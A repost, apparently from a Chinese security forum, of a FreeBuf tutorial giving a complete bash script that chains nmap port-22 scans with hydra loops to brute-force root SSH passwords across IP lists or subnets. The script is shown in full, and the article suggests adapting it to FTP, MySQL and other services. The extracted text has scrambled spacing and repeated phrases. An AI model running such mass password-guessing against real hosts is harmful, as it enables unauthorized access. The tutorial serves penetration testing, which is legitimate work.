搜索

[12697] 2018-05-13_一记组合拳，批量SSH弱密码爆破检测工具分享

文档创建者：s7ckTeam
浏览次数：35
最后更新：2025-01-18
2018-05-13_一记组合拳，批量SSH弱密码爆破检测工具分享 一 记 组 合 拳 ， 批 量 S S H 弱 密 码 爆 破 检 测 工 具 分 享 s c u - i g r o u p   F r e e B u f   2 0 1 8 - 0 5 - 1 3 前 言 前 言 S S H 登 录 密 码 的 破 解 工 具 已 然 有 许 多 ， 但 偶 尔 还 是 存 在 不 能 满 足 任 务 需 求 的 情 况 。 比 如 ， 批 量 地 对 登 录 密 码 的 破 解 工 具 已 然 有 许 多 ， 但 偶 尔 还 是 存 在 不 能 满 足 任 务 需 求 的 情 况 。 比 如 ， 批 量 地 对 I P 列 表 里 的 列 表 里 的 I P 地 址 进 行 地 址 进 行 S S H 登 录 破 解 ， 现 有 的 工 具 直 接 使 用 起 来 总 觉 得 不 方 便 。 那 么 ， 能 否 利 用 现 有 的 工 具 ， 来 定 制 打 造 登 录 破 解 ， 现 有 的 工 具 直 接 使 用 起 来 总 觉 得 不 方 便 。 那 么 ， 能 否 利 用 现 有 的 工 具 ， 来 定 制 打 造 适 合 自 己 的 装 备 ？ 当 然 可 以 ， 而 且 ， 这 是 想 要 偷 懒 的 宝 宝 们 需 要 掌 握 的 一 项 技 能 。 适 合 自 己 的 装 备 ？ 当 然 可 以 ， 而 且 ， 这 是 想 要 偷 懒 的 宝 宝 们 需 要 掌 握 的 一 项 技 能 。 正 文 正 文 批 量 爆 破 S S H 登 录 密 码 的 流 程 其 实 很 简 单 。 首 先 探 测 对 方 主 机 是 否 开 启 2 2 端 口 ， 如 开 启 ， 则 尝 试 进 行 S S H 密 码 爆 破 。 这 里 用 到 两 款 强 大 的 开 源 工 具 。 一 个 是 n m a p ， 用 来 探 测 2 2 端 口 是 否 开 启 ； 另 一 个 是 h y d r a ， 用 来 爆 破 S S H 登 录 密 码 。 这 两 款 工 具 我 不 做 过 多 的 介 绍 ， 它 们 的 强 大 ， G o o g l e 一 下 ， 自 有 体 会 。 那 么 如 何 将 这 两 款 工 具 结 合 到 一 起 使 用 ， 笔 者 这 里 通 过 选 用 的 是 灵 活 的 s h e l l 脚 本 。                 如 上 图 所 示 ， 过 程 分 为 两 步 ， 首 先 用 n m a p 批 量 地 扫 描 开 放 2 2 端 口 的 公 网 上 的 设 备 ， 运 行 命 令 如 下 ： 这 条 命 令 的 含 义 是 ， 扫 描 i p l i s t . t x t 文 件 中 的 I P 地 址 是 否 开 启 2 2 端 口 ； 如 开 启 ， 则 将 这 个 结 果 输 出 到 2 2 - o u t p u t . t x t 文 件 中 。 这 条 命 令 还 可 以 这 样 写 ： 这 是 对 一 个 网 段 的 扫 描 ， 也 可 以 换 成 一 个 I P 。 - s S 和 - s U 都 是 扫 描 策 略 的 选 项 ， 两 个 一 起 使 用 ， 可 以 提 高 扫 描 的 可 靠 性 。 在 实 际 测 试 过 程 中 （ 内 网 环 境 ） ， n m a p 还 是 存 在 漏 扫 的 情 况 ， 想 要 提 高 它 的 准 确 率 ， 还 需 自 己 不 断 尝 试 ， 不 断 调 整 扫 描 策 略 才 会 有 感 觉 。 第 二 步 为 ， 读 取 2 2 - o u t p u t . t x t 文 件 中 开 放 2 2 端 口 的 主 机 ， 使 用 h y d r a 工 具 进 行 密 码 爆 破 ， 使 用 的 命 令 如 下 ： 这 条 命 令 的 含 义 是 采 用 密 码 本 . / p a s s w o r d . t x t 中 的 密 码 ， 对 I P 地 址 为 ： 1 9 2 . 1 6 8 . 0 . 1 2 的 主 机 进 行 密 码 破 解 。 g r e p “ h o s t : ” 用 来 过 滤 打 印 的 输 出 ， 只 输 出 破 解 到 密 码 的 条 目 。 由 于 h y d r a 一 次 只 能 对 一 个 I P 进 行 破 解 ， 因 此 ， 在 s h e l l 中 写 了 n m a p   - v v   - n   – s S   - s U   - p 2 2   - i L   . / i p l i s t . t x t     |   g r e p   " D i s c o v e r e d   o p e n   p o r t "   |   a w k   { ' p r i n t   $ 6 ' }   |   a w k   - F /   { ' p r i n t   $ 1 ' }   >   . / 2 2 - o u t p u t . t x t n m a p   - v v   - n   – s S   - s U   - p 2 2   1 9 2 . 1 6 8 . 1 . 0 / 2 4     |   g r e p   " D i s c o v e r e d   o p e n   p o r t "   |   a w k   { ' p r i n t   $ 6 ' }   |   a w k   - F /   { ' p r i n t   $ 1 ' }   >   . / 2 2 - o u t p u t . t x t h y d r a   - l   r o o t   - P   . / p a s s w o r d . t x t   - t   6   - v V   1 9 2 . 1 6 8 . 0 . 1 2   s s h   |   g r e p   " h o s t : "
一 个 循 环 ， h y d r a 一 次 任 务 结 束 后 ， 立 即 进 行 下 一 个 I P 的 破 解 ， 直 到 将 2 2 - o u t p u t . t x t 文 件 中 I P 遍 历 完 为 止 。 代 码 如 下 所 示 。 遍 历 代 码 很 简 单 ， 不 用 惊 讶 ， 这 就 是 s h e l l 脚 本 的 神 奇 之 处 。 主 要 步 骤 讲 完 后 ， 下 面 来 看 看 整 个 代 码 ， 看 如 何 用 s h e l l 程 序 将 这 些 串 起 来 。 这 个 程 序 做 了 一 些 参 数 传 递 的 判 断 ， 核 心 代 码 行 十 分 精 简 。 在 使 用 程 序 之 前 ， 需 得 在 主 机 上 安 装 n m a p 和 h y d r a ， U b u n t u 下 直 接 用 a p t 安 装 。 运 行 很 方 便 ， 下 面 是 运 行 图 ， 在 内 网 环 境 下 破 解 了 3 台 主 机 的 密 码 ： c a t   . / 2 2 - o u t p u t . t x t   |   w h i l e   r e a d   l i n e d o           e c h o   " C u r r e n t   T a s k :   $ { l i n e } "         h y d r a   - l   r o o t   - P   $ p a s s f i l e   - t   6   - v V   $ l i n e   s s h   |   g r e p   " h o s t : "   d o n e # ! / b i n / b a s h i f   [   $ #   - l t   4   ]   t h e n       e c h o   " u s a g e :   . / h y d r a . s h   - p   . / p a s s w o r d . t x t   - f   . / i p l i s t . t x t "       e c h o   " u s a g e :   . / h y d r a . s h   - p   . / p a s s w o r d . t x t   - l   1 9 2 . 1 6 8 . 9 . 0 / 2 4 "       e x i t   1 f i w h i l e   [   - n   " $ 1 "   ]     d o         c a s e   " $ 1 "   i n                 - p )                     p a s s f i l e = $ 2                 # e c h o   $ p a s s f i l e                   s h i f t                     ; ;             - f )                     n m a p   - v v   - n   - s S   - s U   - p 2 2   - i L   $ 2     |   g r e p   " D i s c o v e r e d   o p e n   p o r t "   |   a w k   { ' p r i n t   $ 6 ' }   |   a w k   - F /   { ' p r i n t   $ 1 ' }   >   . / 2 2 - o u t p u t . t x t                 s h i f t                     ; ;             - l )                     n m a p   - v v   - n   - s S   - s U   - p 2 2   $ 2     |   g r e p   " D i s c o v e r e d   o p e n   p o r t "   |   a w k   { ' p r i n t   $ 6 ' }   |   a w k   - F /   { ' p r i n t   $ 1 ' }   >   . / 2 2 - o u t p u t . t x t                   s h i f t                     ; ;           * )                     e c h o   " $ 1   i s   n o t   a n   o p t i o n "                     e c h o   " u s a g e :   . / h y d r a . s h   - p   . / p a s s w o r d . t x t   - f   . / i p l i s t . t x t "                 e c h o   " u s a g e :   . / h y d r a . s h   - p   . / p a s s w o r d . t x t   - l   1 9 2 . 1 6 8 . 9 . 0 / 2 4 "                 e x i t   1                 ; ;         e s a c         s h i f t     d o n e e c h o   " - - - - - - - - - - - p o r t   s c a n   f i n i s h e d - - - - - - - - - - - " c h m o d   6 6 6   . / 2 2 - o u t p u t . t x t # e c h o   ` c a t   . / 2 2 - o u t p u t . t x t `   c a t   . / 2 2 - o u t p u t . t x t   |   w h i l e   r e a d   l i n e d o           e c h o   " C u r r e n t   T a s k :   $ { l i n e } "         h y d r a   - l   r o o t   - P   $ p a s s f i l e   - t   6   - v V   $ l i n e   s s h   |   g r e p   " h o s t : " d o n e e c h o   " - - - - - - - p a s s w o r d   g u e s s i n g   f i n i s h e d - - - - - - - "
当 然 ， 能 否 破 解 成 功 ， 有 一 个 好 用 的 工 具 固 然 重 要 ， 但 还 需 要 一 个 强 健 的 密 码 本 。 在 为 密 码 本 烦 恼 的 宝 宝 们 ， 也 不 用 担 心 ， 已 经 有 人 总 结 好 最 常 用 的 密 码 条 目 。 见 这 里 [ 传 送 门 ] 工 具 传 送 门 为 ： h t t p s : / / g i t h u b . c o m / s c u - i g r o u p / s s h - s c a n n e r 总 结 总 结 通 过 对 该 工 具 的 介 绍 ， 聪 明 的 你 可 以 举 一 反 三 ， 改 造 成 对 任 意 服 务 的 批 量 口 令 爆 破 （ 前 提 是 只 要 h y d r a 支 持 就 行 ， 包 括 ： F T P ， t e l n e t ， S M T P ， P O P 3 ， M y S Q L 等 等 ） 。 下 次 有 渗 透 测 试 地 批 量 扫 描 任 务 ， 就 可 以 一 键 搞 定 啦 。   最 后 ， 提 醒 一 句 ， 公 网 上 谨 慎 扫 描 ， 一 切 行 为 需 合 规 合 法 。 * 本 文 作 者 ： 本 文 作 者 ： s c u - i g r o u p ， 转 载 请 注 明 来 自 ， 转 载 请 注 明 来 自 F r e e B u f . C O M 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理